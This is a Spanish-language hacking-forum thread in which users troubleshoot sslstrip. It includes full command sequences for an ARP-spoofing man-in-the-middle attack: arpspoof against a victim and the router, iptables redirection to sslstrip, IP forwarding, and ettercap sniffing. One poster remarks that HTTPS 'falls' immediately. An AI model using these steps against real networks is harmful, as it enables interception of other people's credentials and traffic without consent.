elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking (Moderador: toxeek)
| | |-+  Problemas Sslstrip
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Problemas Sslstrip  (Leído 18,468 veces)
gerard_88

Desconectado Desconectado

Mensajes: 20



Ver Perfil
Problemas Sslstrip
« en: 1 Noviembre 2009, 21:11 pm »

Hola compañeros, estoy haciendo mis pinitos con el sslstrip, hago los siguientes pasos:

Shell 1:
cd '/home/anonimous/Escritorio/sslstrip-0.4'
python setup.py build
python setup.py install

Shell 2:
arpspoof -i wlan0 -t 192.168.1.33 192.168.1.1

Shell 3:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 1000
sslstrip -l 1000

Shell 4:
sudo ettercap -Tqz -i wlan0

La primera vez que lo probe me funciono, pero despues me devuelve este error, y no entiendo su significado.

Traceback (most recent call last):
  File "/usr/local/bin/sslstrip", line 256, in <module>
    main(sys.argv[1:])
  File "/usr/local/bin/sslstrip", line 246, in main
    server = ThreadingHTTPServer(('', int(listenPort)), StripProxy)
  File "/usr/lib/python2.6/SocketServer.py", line 400, in __init__
    self.server_bind()
  File "/usr/lib/python2.6/BaseHTTPServer.py", line 108, in server_bind
    SocketServer.TCPServer.server_bind(self)
  File "/usr/lib/python2.6/SocketServer.py", line 411, in server_bind
    self.socket.bind(self.server_address)
  File "<string>", line 1, in bind
socket.error: [Errno 98] Address already in use


Haber si alguien me puede ayudar.
Gracias de antemano.

« Última modificación: 2 Noviembre 2009, 11:58 am por gerard_88 » En línea

kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.218


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: Problemas Sslstrip
« Respuesta #1 en: 1 Noviembre 2009, 22:47 pm »

Citar
socket.error: [Errno 98] Address already in use

Ya hay un socket abierto y escuchando en el puerto donde intentas crear el nuevo, mata antes el proceso del que depende el socket, para saber cual es:

Código:
# netstat -aveptn
En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
ChElAnO

Desconectado Desconectado

Mensajes: 129


Ver Perfil
Re: Problemas Sslstrip
« Respuesta #2 en: 3 Noviembre 2009, 04:50 am »

o corre sslstrip en otro puerto (y tambien debes cambiar la regla de iptables para que redireccione a ese otro puerto=

saludos
En línea

cliso

Desconectado Desconectado

Mensajes: 22



Ver Perfil
Re: Problemas Sslstrip
« Respuesta #3 en: 18 Febrero 2010, 20:22 pm »

saludos, te pego el codigo con el que yo funciono y he auditado mi red, a mi me funciona de maravilla

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
nmap 192.168.1.1-254

..... en otra shell .....

arpspoof -i [interfaz] -t [ip victima] [ip router]

..... en otra shell......

python sslstrip.py -l 10000

.... en otra shell....

ettercap -T -q -i [interfaz]


espero haberte ayudado y si te ha ido bien, comenta


saludos

En línea

el sabio tiene miedo, el ignorante valor
PyrOS-9889

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Problemas Sslstrip
« Respuesta #4 en: 25 Septiembre 2010, 21:48 pm »

El segundo problema que veo con el sslstrip. alguien me puede explicar porque usan ettercap con arpspoof????

porque yo no le veo el caso!!!!!!!!!!!!!!!!!!!!!!!!!!!
En línea

tragantras


Desconectado Desconectado

Mensajes: 465


Ver Perfil
Re: Problemas Sslstrip
« Respuesta #5 en: 26 Septiembre 2010, 21:36 pm »

para hacer un mitm :) o sino como te va a enviar la victima los dateles? xD
En línea

Colaboraciones:
1 2
PyrOS-9889

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Problemas Sslstrip
« Respuesta #6 en: 26 Septiembre 2010, 22:23 pm »

para hacer un mitm :) o sino como te va a enviar la victima los dateles? xD

mmmm..... pues mira que usando solo el arpspoof haces el MitM  :silbar:

o usando solo el ettercap haces tambien el MitM por eso digo que no veo la necesidad de mezclarlos...

o hay algo mas detrás??? explícame que esa es mi duda...
En línea

tragantras


Desconectado Desconectado

Mensajes: 465


Ver Perfil
Re: Problemas Sslstrip
« Respuesta #7 en: 26 Septiembre 2010, 22:50 pm »

a vale vale, no entendí tu pregunta


Código:
sudo ettercap -Tqz -i wlan0

-T -> modo texto, no interfaz grafica

-q -> quiet, no hace print de los paquetes capturados

-z -> no hace el arp scan buscando hosts

-i wlan0 -> interfaz wlan0

es decir, el ettercap se utilizará como sniffer... no se hace el arp spoof mediante él

http://linux.die.net/man/8/ettercap
En línea

Colaboraciones:
1 2
PyrOS-9889

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Problemas Sslstrip
« Respuesta #8 en: 26 Septiembre 2010, 22:55 pm »

ok... ya entiendo el uso del ettercap en este post... pero bueno aun así no veo la necesidad de usar el ettercap.

Yo uso solamente el SSLStrip con el ArpSpoof y me funciona de maravilla. Las https caen enseguida  :laugh:
En línea

tragantras


Desconectado Desconectado

Mensajes: 465


Ver Perfil
Re: Problemas Sslstrip
« Respuesta #9 en: 27 Septiembre 2010, 16:51 pm »

claro, porque tu usarás otro sniffer, como el wireshark o algo así!
En línea

Colaboraciones:
1 2
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
HOW TO: Sniffing en Linux (Ettercap+SSLstrip+Driftnet) « 1 2 3 »
Hacking
mrfloffy 28 47,412 Último mensaje 31 Julio 2011, 16:44 pm
por necoreitor
ayuda ettercap+sslstrip
Hacking
wampis 3 5,709 Último mensaje 22 Septiembre 2011, 10:17 am
por ChimoC
sslstrip en wifiway 2.0.2
Wireless en Linux
valdomero 1 3,566 Último mensaje 23 Marzo 2011, 23:07 pm
por valdomero
sslstrip & backtrack 5: No entra en la pagina
Redes
Gambino_88 1 4,645 Último mensaje 17 Junio 2011, 17:09 pm
por int_0x40
Ayuda con duda SSLStrip
Hacking
baran0wa 1 3,582 Último mensaje 29 Junio 2011, 04:05 am
por y0g-s0th0th
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines